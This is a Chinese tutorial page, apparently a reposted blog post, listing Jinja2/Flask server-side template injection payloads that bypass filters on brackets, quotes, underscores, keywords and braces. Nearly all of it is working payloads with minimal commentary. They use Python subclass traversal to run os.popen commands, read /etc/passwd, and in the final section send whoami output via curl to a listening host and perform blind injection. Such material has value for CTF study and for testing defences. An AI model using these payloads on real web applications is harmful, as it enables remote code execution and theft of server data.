栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤

目录

一、绕过[]过滤

方法一:__getitem__

方法二:pop()

二、绕过引号'过滤

方法一:对象request(jinjia2)

方法二:chr函数

三、绕过下划线_过滤

方法一:request.args.

四、关键字过滤

方法一:拼接

方法二:内置函数

方法三:转换

五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}


一、绕过[]过滤

方法一:__getitem__

''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read()

方法二:pop()

移除列表中的一个元素(默认最后一个元素),并且返回该元素的值

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()



二、绕过引号'过滤

方法一:对象request(jinjia2)

1、

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

args是数组,可以进行自定义传值


2、

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

方法二:chr函数

1、

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}


2、

%2b是+,char()可以查看ASCII码对应表

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}



三、绕过下划线_过滤

方法一:request.args.

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

GET传参:request.args

POST传参:request.values



四、关键字过滤

方法一:拼接

{{request['__cl'+'ass__'].__mro__[12]}}

或者

.__init__.__globals__["sys"+"tem"]


~ 在jinja中可以拼接字符串

方法二:内置函数

replace、decode……

方法三:转换

{{"".__class__}} 

转换为十六进制进行绕过

{{""["x5fx5fclassx5fx5f"]}}



五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}


配合盲注

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1025899.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号